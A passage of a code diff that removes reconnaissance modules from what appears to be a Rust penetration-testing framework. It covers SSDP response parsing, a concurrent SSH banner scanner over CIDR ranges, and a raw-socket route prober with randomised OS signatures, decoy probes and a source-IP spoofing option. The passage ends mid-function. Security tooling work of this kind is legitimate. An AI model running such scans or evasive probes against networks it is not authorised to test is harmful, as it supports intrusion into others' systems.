std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read input")?;
|
||||
|
||||
match input.trim() {
|
||||
"1" | "" => {
|
||||
targets.push(SearchTarget::RootDevice);
|
||||
}
|
||||
"2" => {
|
||||
targets.push(SearchTarget::All);
|
||||
}
|
||||
"3" => {
|
||||
print!("{}", "Enter custom ST: ".cyan().bold());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut st_input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut st_input)
|
||||
.context("Failed to read input")?;
|
||||
let st = st_input.trim().to_string();
|
||||
if !st.is_empty() {
|
||||
targets.push(SearchTarget::Custom(st));
|
||||
} else {
|
||||
targets.push(SearchTarget::RootDevice);
|
||||
}
|
||||
}
|
||||
"4" => {
|
||||
targets.push(SearchTarget::RootDevice);
|
||||
targets.push(SearchTarget::All);
|
||||
}
|
||||
_ => {
|
||||
targets.push(SearchTarget::RootDevice);
|
||||
}
|
||||
}
|
||||
|
||||
if targets.is_empty() {
|
||||
targets.push(SearchTarget::RootDevice);
|
||||
}
|
||||
|
||||
Ok(targets)
|
||||
}
|
||||
|
||||
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) -> Option<String> {
|
||||
let regexps = vec![
|
||||
("server", r"(?i)Server:\s*(.*?)\r\n"),
|
||||
("location", r"(?i)Location:\s*(.*?)\r\n"),
|
||||
("usn", r"(?i)USN:\s*(.*?)\r\n"),
|
||||
("st", r"(?i)ST:\s*(.*?)\r\n"),
|
||||
("nt", r"(?i)NT:\s*(.*?)\r\n"),
|
||||
("cache-control", r"(?i)Cache-Control:\s*(.*?)\r\n"),
|
||||
("ext", r"(?i)EXT:\s*(.*?)\r\n"),
|
||||
];
|
||||
|
||||
let mut results: HashMap<&str, String> = HashMap::new();
|
||||
|
||||
for (key, pattern) in regexps {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
if let Some(caps) = re.captures(response) {
|
||||
let value = caps.get(1)
|
||||
.map(|m| m.as_str().trim())
|
||||
.unwrap_or("")
|
||||
.to_string();
|
||||
results.insert(key, value);
|
||||
} else {
|
||||
results.insert(key, String::new());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check HTTP status
|
||||
let status_line = response.lines().next().unwrap_or("");
|
||||
let status_ok = status_line.contains("200") || status_line.contains("HTTP/1.1");
|
||||
|
||||
if status_ok {
|
||||
let st_value = results.get("st").or(results.get("nt")).unwrap_or(&st.to_string()).clone();
|
||||
let server = results.get("server").unwrap_or(&String::new()).clone();
|
||||
let location = results.get("location").unwrap_or(&String::new()).clone();
|
||||
let usn = results.get("usn").unwrap_or(&String::new()).clone();
|
||||
|
||||
let result_line = format!(
|
||||
"{}:{} | ST: {} | Server: {} | Location: {} | USN: {}",
|
||||
target_ip, port, st_value, server, location, usn
|
||||
);
|
||||
|
||||
println!("{}", format!("[+] {}", result_line).green());
|
||||
|
||||
// Show additional headers if present
|
||||
if let Some(cache) = results.get("cache-control") {
|
||||
if !cache.is_empty() {
|
||||
println!(" {} Cache-Control: {}", " |".dimmed(), cache.dimmed());
|
||||
}
|
||||
}
|
||||
|
||||
Some(result_line)
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[!] {}:{} | Unexpected response: {}", target_ip, port, status_line)
|
||||
.yellow()
|
||||
);
|
||||
None
|
||||
}
|
||||
}
|
||||
@@ -1,456 +0,0 @@
|
||||
//! SSH Service Scanner Module
|
||||
//!
|
||||
//! Based on SSHPWN framework - scans for SSH services and grabs banners.
|
||||
//! Supports IPv4/IPv6, CIDR ranges, and concurrent scanning.
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::{
|
||||
collections::HashSet,
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Read, Write},
|
||||
net::{SocketAddr, TcpStream, ToSocketAddrs},
|
||||
sync::{
|
||||
atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
Arc,
|
||||
},
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
|
||||
use anyhow::Context;
|
||||
use tokio::{
|
||||
sync::Semaphore,
|
||||
task::spawn_blocking,
|
||||
time::sleep,
|
||||
};
|
||||
use ipnetwork::IpNetwork;
|
||||
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 5;
|
||||
const DEFAULT_THREADS: usize = 50;
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSH Service Scanner ║".cyan());
|
||||
println!("{}", "║ Scan networks for SSH services and grab banners ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Features: ║".cyan());
|
||||
println!("{}", "║ - CIDR range support ║".cyan());
|
||||
println!("{}", "║ - IPv4/IPv6 support ║".cyan());
|
||||
println!("{}", "║ - Banner grabbing ║".cyan());
|
||||
println!("{}", "║ - Concurrent scanning ║".cyan());
|
||||
println!("{}", "║ - Results export ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Statistics tracking
|
||||
struct Statistics {
|
||||
total_scanned: AtomicU64,
|
||||
ssh_found: AtomicU64,
|
||||
errors: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_scanned: AtomicU64::new(0),
|
||||
ssh_found: AtomicU64::new(0),
|
||||
errors: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_scan(&self, found_ssh: bool, error: bool) {
|
||||
self.total_scanned.fetch_add(1, Ordering::Relaxed);
|
||||
if found_ssh {
|
||||
self.ssh_found.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
if error {
|
||||
self.errors.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let scanned = self.total_scanned.load(Ordering::Relaxed);
|
||||
let found = self.ssh_found.load(Ordering::Relaxed);
|
||||
let errors = self.errors.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { scanned as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} scanned | {} SSH | {} errors | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
scanned.to_string().bold(),
|
||||
found.to_string().green(),
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
}
|
||||
|
||||
fn print_summary(&self) {
|
||||
println!();
|
||||
println!("{}", "=== Scan Summary ===".cyan().bold());
|
||||
println!("Total scanned: {}", self.total_scanned.load(Ordering::Relaxed));
|
||||
println!("SSH services found: {}", self.ssh_found.load(Ordering::Relaxed).to_string().green());
|
||||
println!("Errors: {}", self.errors.load(Ordering::Relaxed));
|
||||
println!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64());
|
||||
}
|
||||
}
|
||||
|
||||
/// SSH scan result
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct SshScanResult {
|
||||
pub host: String,
|
||||
pub port: u16,
|
||||
pub banner: String,
|
||||
}
|
||||
|
||||
/// Grab SSH banner from a host
|
||||
fn grab_ssh_banner(host: &str, port: u16, timeout_secs: u64) -> Option<String> {
|
||||
// Build address
|
||||
let addr_str = if host.contains(':') && !host.starts_with('[') {
|
||||
format!("[{}]:{}", host, port)
|
||||
} else {
|
||||
format!("{}:{}", host, port)
|
||||
};
|
||||
|
||||
// Resolve and connect
|
||||
let addrs: Vec<SocketAddr> = match addr_str.to_socket_addrs() {
|
||||
Ok(a) => a.collect(),
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
if addrs.is_empty() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
for addr in addrs {
|
||||
if let Ok(stream) = TcpStream::connect_timeout(&addr, timeout) {
|
||||
let _ = stream.set_read_timeout(Some(timeout));
|
||||
let _ = stream.set_write_timeout(Some(timeout));
|
||||
|
||||
let mut stream = stream;
|
||||
let mut buffer = [0u8; 256];
|
||||
|
||||
match stream.read(&mut buffer) {
|
||||
Ok(n) if n > 0 => {
|
||||
let banner = String::from_utf8_lossy(&buffer[..n])
|
||||
.trim()
|
||||
.to_string();
|
||||
if banner.starts_with("SSH-") {
|
||||
return Some(banner);
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Parse targets from string (CIDR, range, single IP)
|
||||
fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> {
|
||||
let mut targets = Vec::new();
|
||||
|
||||
for s in spec.split(&[',', ' ', '\n'][..]) {
|
||||
let s = s.trim();
|
||||
if s.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Try CIDR
|
||||
if s.contains('/') {
|
||||
if let Ok(network) = s.parse::<IpNetwork>() {
|
||||
for ip in network.iter().take(65536) {
|
||||
targets.push((ip.to_string(), port));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
// Try IP range (e.g., 192.168.1.1-254)
|
||||
if s.contains('-') && s.contains('.') {
|
||||
let parts: Vec<&str> = s.rsplitn(2, '.').collect();
|
||||
if parts.len() == 2 {
|
||||
if let Some((start_str, end_str)) = parts[0].split_once('-') {
|
||||
if let (Ok(start), Ok(end)) = (start_str.parse::<u8>(), end_str.parse::<u8>()) {
|
||||
let base = parts[1];
|
||||
for i in start..=end {
|
||||
targets.push((format!("{}.{}", base, i), port));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Single IP/hostname
|
||||
targets.push((s.to_string(), port));
|
||||
}
|
||||
|
||||
targets
|
||||
}
|
||||
|
||||
/// Load targets from file
|
||||
fn load_targets_from_file(path: &str, port: u16) -> Result<Vec<(String, u16)>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
let mut targets = Vec::new();
|
||||
|
||||
for line in reader.lines() {
|
||||
let line = line?;
|
||||
let line = line.trim();
|
||||
if line.is_empty() || line.starts_with('#') {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Check for port override (host:port)
|
||||
if let Some((host, port_str)) = line.rsplit_once(':') {
|
||||
if let Ok(p) = port_str.parse::<u16>() {
|
||||
targets.push((host.to_string(), p));
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
targets.push((line.to_string(), port));
|
||||
}
|
||||
|
||||
Ok(targets)
|
||||
}
|
||||
|
||||
/// Main scan function
|
||||
pub async fn scan_ssh(
|
||||
targets: Vec<(String, u16)>,
|
||||
threads: usize,
|
||||
timeout_secs: u64,
|
||||
) -> Vec<SshScanResult> {
|
||||
let total = targets.len();
|
||||
println!("{}", format!("[*] Scanning {} targets...", total).cyan());
|
||||
|
||||
let results = Arc::new(tokio::sync::Mutex::new(Vec::new()));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let semaphore = Arc::new(Semaphore::new(threads));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
|
||||
// Progress reporter
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
while !stop_clone.load(Ordering::Relaxed) {
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
// Scan tasks
|
||||
let mut handles = Vec::new();
|
||||
|
||||
for (host, port) in targets {
|
||||
let semaphore = Arc::clone(&semaphore);
|
||||
let results = Arc::clone(&results);
|
||||
let stats = Arc::clone(&stats);
|
||||
|
||||
let handle: tokio::task::JoinHandle<Result<()>> = tokio::spawn(async move {
|
||||
let _permit = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
|
||||
let host_clone = host.clone();
|
||||
let result = spawn_blocking(move || {
|
||||
grab_ssh_banner(&host_clone, port, timeout_secs)
|
||||
}).await;
|
||||
|
||||
match result {
|
||||
Ok(Some(banner)) => {
|
||||
stats.record_scan(true, false);
|
||||
let result = SshScanResult {
|
||||
host: host.clone(),
|
||||
port,
|
||||
banner: banner.clone(),
|
||||
};
|
||||
println!("\r{}", format!("[+] {}:{} - {}", host, port, banner).green());
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
results.lock().await.push(result);
|
||||
}
|
||||
Ok(None) => {
|
||||
stats.record_scan(false, false);
|
||||
}
|
||||
Err(_) => {
|
||||
stats.record_scan(false, true);
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
}
|
||||
|
||||
// Wait for all tasks
|
||||
for handle in handles {
|
||||
let _ = handle.await;
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print summary
|
||||
stats.print_summary();
|
||||
|
||||
let results = results.lock().await;
|
||||
results.clone()
|
||||
}
|
||||
|
||||
/// Save results to file
|
||||
fn save_results(results: &[SshScanResult], path: &str) -> Result<()> {
|
||||
let mut file = File::create(path)?;
|
||||
|
||||
writeln!(file, "# SSH Scan Results")?;
|
||||
writeln!(file, "# Generated by RustSploit SSH Scanner")?;
|
||||
writeln!(file, "# Total: {} SSH services found", results.len())?;
|
||||
writeln!(file)?;
|
||||
|
||||
for result in results {
|
||||
writeln!(file, "{}:{} - {}", result.host, result.port, result.banner)?;
|
||||
}
|
||||
|
||||
println!("{}", format!("[+] Results saved to: {}", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let mut targets = Vec::new();
|
||||
|
||||
// Parse initial target
|
||||
if !target.trim().is_empty() {
|
||||
println!("{}", format!("[*] Initial target: {}", target).cyan());
|
||||
}
|
||||
|
||||
// Get port
|
||||
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(DEFAULT_SSH_PORT);
|
||||
|
||||
// Get additional targets
|
||||
let more_targets = prompt("Additional targets (comma-separated, CIDR, or leave empty)")?;
|
||||
|
||||
// Add initial target
|
||||
if !target.trim().is_empty() {
|
||||
targets.extend(parse_targets(target, port));
|
||||
}
|
||||
|
||||
// Add additional targets
|
||||
if !more_targets.is_empty() {
|
||||
targets.extend(parse_targets(&more_targets, port));
|
||||
}
|
||||
|
||||
// Load from file?
|
||||
if prompt_yes_no("Load targets from file?", false)? {
|
||||
let file_path = prompt("File path")?;
|
||||
if !file_path.is_empty() {
|
||||
match load_targets_from_file(&file_path, port) {
|
||||
Ok(file_targets) => {
|
||||
println!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan());
|
||||
targets.extend(file_targets);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Deduplicate
|
||||
let unique: HashSet<_> = targets.into_iter().collect();
|
||||
let targets: Vec<_> = unique.into_iter().collect();
|
||||
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!("No targets specified"));
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan());
|
||||
|
||||
// Get scan options
|
||||
let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string())?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_THREADS);
|
||||
let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string())?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
|
||||
println!();
|
||||
|
||||
// Run scan
|
||||
let results = scan_ssh(targets, threads, timeout).await;
|
||||
|
||||
// Save results?
|
||||
if !results.is_empty() && prompt_yes_no("Save results to file?", true)? {
|
||||
let output_path = prompt_default("Output file", "ssh_scan_results.txt")?;
|
||||
if let Err(e) = save_results(&results, &output_path) {
|
||||
println!("{}", format!("[-] Failed to save: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[*] SSH scanner complete. Found {} services.", results.len()).green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -1,462 +0,0 @@
|
||||
use pnet_packet::ip::IpNextHeaderProtocols;
|
||||
use pnet_packet::ipv4::{self, MutableIpv4Packet};
|
||||
use std::io::Write;
|
||||
use pnet_packet::icmp::{self, echo_request, echo_reply, IcmpTypes};
|
||||
use pnet_packet::udp::{self, MutableUdpPacket};
|
||||
use pnet_packet::tcp::{self, MutableTcpPacket, TcpFlags};
|
||||
use pnet_packet::Packet;
|
||||
use pnet_packet::icmp::IcmpPacket;
|
||||
use std::sync::Arc;
|
||||
|
||||
use rand::Rng;
|
||||
use rand::distr::Alphanumeric;
|
||||
|
||||
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
|
||||
|
||||
|
||||
use tokio::time::{Instant, Duration};
|
||||
use tokio::task;
|
||||
|
||||
use socket2::{Domain, Protocol, Socket, Type};
|
||||
|
||||
use colored::*;
|
||||
|
||||
use anyhow::{Result, Context, anyhow, bail};
|
||||
|
||||
use std::mem::MaybeUninit;
|
||||
|
||||
const IPV4_FLAG_DF: u16 = 2;
|
||||
|
||||
|
||||
const USE_RANDOM_OS_SIG: bool = true;
|
||||
const SPOOF_SRC_IP_CONFIG: Option<&str> = None;
|
||||
const JITTER_RANGE: (f32, f32) = (0.2, 1.1);
|
||||
const MAX_TTL: u8 = 30;
|
||||
const PROBE_COUNT: usize = 3;
|
||||
const DECOY_PROB: f64 = 0.35;
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
struct OsSignatureParams {
|
||||
id: u16,
|
||||
tos: u8,
|
||||
df_flag: bool,
|
||||
}
|
||||
|
||||
fn generate_os_signature() -> OsSignatureParams {
|
||||
let mut rng = rand::rng();
|
||||
if !USE_RANDOM_OS_SIG {
|
||||
return OsSignatureParams {
|
||||
id: rng.random(),
|
||||
tos: 0,
|
||||
df_flag: false,
|
||||
};
|
||||
}
|
||||
|
||||
let sigs = [
|
||||
OsSignatureParams { id: rng.random_range(0x4000..=0xffff), tos: 0, df_flag: true },
|
||||
OsSignatureParams { id: rng.random(), tos: 0, df_flag: false },
|
||||
OsSignatureParams { id: rng.random(), tos: 0, df_flag: true },
|
||||
OsSignatureParams { id: rng.random(), tos: 0x10, df_flag: false },
|
||||
];
|
||||
sigs[rng.random_range(0..sigs.len())].clone()
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq)]
|
||||
enum ProbeProtocolType {
|
||||
Icmp,
|
||||
Udp,
|
||||
Tcp,
|
||||
}
|
||||
|
||||
impl ProbeProtocolType {
|
||||
fn to_ip_next_header_protocol(&self) -> pnet_packet::ip::IpNextHeaderProtocol {
|
||||
match self {
|
||||
ProbeProtocolType::Icmp => IpNextHeaderProtocols::Icmp,
|
||||
ProbeProtocolType::Udp => IpNextHeaderProtocols::Udp,
|
||||
ProbeProtocolType::Tcp => IpNextHeaderProtocols::Tcp,
|
||||
}
|
||||
}
|
||||
|
||||
fn to_string_lc(&self) -> String {
|
||||
match self {
|
||||
ProbeProtocolType::Icmp => "icmp".to_string(),
|
||||
ProbeProtocolType::Udp => "udp".to_string(),
|
||||
ProbeProtocolType::Tcp => "tcp".to_string(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct ReceivedIcmpInfo {
|
||||
icmp_type: u8,
|
||||
description: String,
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct ProbeSingleResponse {
|
||||
source_ip: Ipv4Addr,
|
||||
rtt_ms: f32,
|
||||
icmp_info: ReceivedIcmpInfo,
|
||||
probe_protocol_used: String,
|
||||
}
|
||||
|
||||
fn craft_probe_packet(
|
||||
dst_ip: Ipv4Addr,
|
||||
current_ttl: u8,
|
||||
src_ip_override: Option<Ipv4Addr>,
|
||||
icmp_id_val: u16,
|
||||
icmp_seq_val: u16,
|
||||
) -> Result<(Vec<u8>, ProbeProtocolType, OsSignatureParams)> {
|
||||
const IPV4_HEADER_LEN: usize = 20;
|
||||
|
||||
let mut rng = rand::rng();
|
||||
let sig = generate_os_signature();
|
||||
|
||||
let mut protocol_type = ProbeProtocolType::Icmp;
|
||||
if rng.random_bool(DECOY_PROB) {
|
||||
protocol_type = if rng.random_bool(0.5) {
|
||||
ProbeProtocolType::Udp
|
||||
} else {
|
||||
ProbeProtocolType::Tcp
|
||||
};
|
||||
}
|
||||
|
||||
let payload_size = rng.random_range(24..=56);
|
||||
let payload: Vec<u8> = rng.clone()
|
||||
.sample_iter(&Alphanumeric)
|
||||
.take(payload_size)
|
||||
.map(|c| c as u8)
|
||||
.collect();
|
||||
|
||||
let (transport_header_len, transport_packet_data) = match protocol_type {
|
||||
ProbeProtocolType::Icmp => {
|
||||
let mut buf = vec![0u8; 8 + payload.len()];
|
||||
let mut pkt = echo_request::MutableEchoRequestPacket::new(&mut buf).ok_or_else(|| anyhow!("Failed to create EchoRequest"))?;
|
||||
pkt.set_icmp_type(IcmpTypes::EchoRequest);
|
||||
pkt.set_icmp_code(echo_request::IcmpCodes::NoCode);
|
||||
pkt.set_identifier(icmp_id_val);
|
||||
pkt.set_sequence_number(icmp_seq_val);
|
||||
pkt.set_payload(&payload);
|
||||
let view = IcmpPacket::new(pkt.packet()).ok_or_else(|| anyhow!("Failed to create ICMP view"))?;
|
||||
pkt.set_checksum(icmp::checksum(&view));
|
||||
(buf.len(), buf)
|
||||
}
|
||||
ProbeProtocolType::Udp => {
|
||||
let mut buf = vec![0u8; 8 + payload.len()];
|
||||
let mut pkt = MutableUdpPacket::new(&mut buf).ok_or_else(|| anyhow!("Failed to create UDP packet"))?;
|
||||
pkt.set_source(rng.random_range(33434..=65535));
|
||||
pkt.set_destination(rng.random_range(33434..=65535));
|
||||
pkt.set_length((8 + payload.len()) as u16);
|
||||
pkt.set_payload(&payload);
|
||||
let src = src_ip_override.unwrap_or(Ipv4Addr::new(0,0,0,0));
|
||||
pkt.set_checksum(udp::ipv4_checksum(&pkt.to_immutable(), &src, &dst_ip));
|
||||
(buf.len(), buf)
|
||||
}
|
||||
ProbeProtocolType::Tcp => {
|
||||
let mut buf = vec![0u8; 20 + payload.len()];
|
||||
let mut pkt = MutableTcpPacket::new(&mut buf).ok_or_else(|| anyhow!("Failed to create TCP packet"))?;
|
||||
pkt.set_source(rng.random_range(33434..=65535));
|
||||
pkt.set_destination(rng.random_range(33434..=65535));
|
||||
pkt.set_sequence(rng.random());
|
||||
pkt.set_acknowledgement(0);
|
||||
pkt.set_data_offset(5);
|
||||
pkt.set_flags(TcpFlags::SYN);
|
||||
pkt.set_window(rng.random_range(1024..=65535));
|
||||
pkt.set_urgent_ptr(0);
|
||||
pkt.set_payload(&payload);
|
||||
let src = src_ip_override.unwrap_or(Ipv4Addr::new(0,0,0,0));
|
||||
pkt.set_checksum(tcp::ipv4_checksum(&pkt.to_immutable(), &src, &dst_ip));
|
||||
(buf.len(), buf)
|
||||
}
|
||||
};
|
||||
|
||||
let total_len = (IPV4_HEADER_LEN + transport_header_len) as u16;
|
||||
let mut ip_buf = vec![0u8; total_len as usize];
|
||||
|
||||
let src_ip = src_ip_override
|
||||
.or_else(|| SPOOF_SRC_IP_CONFIG.map(str::parse).transpose().ok().flatten())
|
||||
.unwrap_or(Ipv4Addr::new(0,0,0,0));
|
||||
|
||||
{
|
||||
let mut ip = MutableIpv4Packet::new(&mut ip_buf).ok_or_else(|| anyhow!("Failed to create IPv4 packet"))?;
|
||||
ip.set_version(4);
|
||||
ip.set_header_length(5);
|
||||
ip.set_total_length(total_len);
|
||||
ip.set_identification(sig.id);
|
||||
ip.set_ttl(current_ttl);
|
||||
ip.set_next_level_protocol(protocol_type.to_ip_next_header_protocol());
|
||||
ip.set_source(src_ip);
|
||||
ip.set_destination(dst_ip);
|
||||
ip.set_dscp(sig.tos >> 2);
|
||||
ip.set_ecn(sig.tos & 0x03);
|
||||
let mut flags = 0;
|
||||
if sig.df_flag {
|
||||
flags |= IPV4_FLAG_DF;
|
||||
}
|
||||
ip.set_flags(flags.try_into().unwrap_or(0));
|
||||
ip.set_payload(&transport_packet_data);
|
||||
ip.set_checksum(ipv4::checksum(&ip.to_immutable()));
|
||||
}
|
||||
|
||||
Ok((ip_buf, protocol_type, sig))
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
async fn send_and_receive_one(
|
||||
target_final_dst_ip: Ipv4Addr,
|
||||
probe_packet_bytes: &[u8],
|
||||
probe_protocol: ProbeProtocolType,
|
||||
probe_ip_id: u16,
|
||||
probe_icmp_echo_id: u16,
|
||||
probe_icmp_echo_seq: u16,
|
||||
timeout: Duration,
|
||||
) -> Result<Option<ProbeSingleResponse>> {
|
||||
let sender_socket = Socket::new(
|
||||
Domain::IPV4,
|
||||
Type::RAW,
|
||||
Some(Protocol::from(libc::IPPROTO_RAW)),
|
||||
)
|
||||
.context("Failed to create sender raw socket")?;
|
||||
sender_socket
|
||||
.set_header_included_v4(true)
|
||||
.context("Failed to set IP_HDRINCL on sender socket")?;
|
||||
|
||||
let receiver_socket = Arc::new(
|
||||
Socket::new(Domain::IPV4, Type::RAW, Some(Protocol::ICMPV4))
|
||||
.context("Failed to create receiver raw socket for ICMP")?,
|
||||
);
|
||||
receiver_socket
|
||||
.set_read_timeout(Some(Duration::from_millis(200)))
|
||||
.context("Failed to set read timeout on receiver socket")?;
|
||||
|
||||
let dst_addr = SocketAddr::new(IpAddr::V4(target_final_dst_ip), 0);
|
||||
sender_socket
|
||||
.send_to(probe_packet_bytes, &dst_addr.into())
|
||||
.context("Failed to send raw IP packet")?;
|
||||
|
||||
let start = Instant::now();
|
||||
loop {
|
||||
if start.elapsed() >= timeout {
|
||||
return Ok(None);
|
||||
}
|
||||
|
||||
let sock_clone = receiver_socket.try_clone().context("Socket clone failed")?;
|
||||
let recv = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
|
||||
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
|
||||
match sock_clone.recv_from(&mut buf) {
|
||||
Ok((len, addr)) => {
|
||||
// Safe conversion: we know len is valid and within buf bounds
|
||||
if len > buf.len() {
|
||||
return Err(std::io::Error::new(std::io::ErrorKind::InvalidData, "Invalid buffer length"));
|
||||
}
|
||||
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
|
||||
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
|
||||
Ok(Some((slice.to_vec(), sock_addr)))
|
||||
}
|
||||
Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None),
|
||||
Err(e) => Err(e),
|
||||
}
|
||||
})
|
||||
.await
|
||||
.context("Blocking task for recv_from failed")?;
|
||||
|
||||
if let Some((data, sa)) = recv? {
|
||||
let rtt = start.elapsed().as_secs_f32() * 1000.0;
|
||||
let responder = if let IpAddr::V4(ip) = sa.ip() { ip } else { continue; };
|
||||
|
||||
if let Some(ip_pkt) = ipv4::Ipv4Packet::new(&data) {
|
||||
if ip_pkt.get_next_level_protocol() == IpNextHeaderProtocols::Icmp {
|
||||
if let Some(icmp_pkt) = icmp::IcmpPacket::new(ip_pkt.payload()) {
|
||||
let icmp_type = icmp_pkt.get_icmp_type();
|
||||
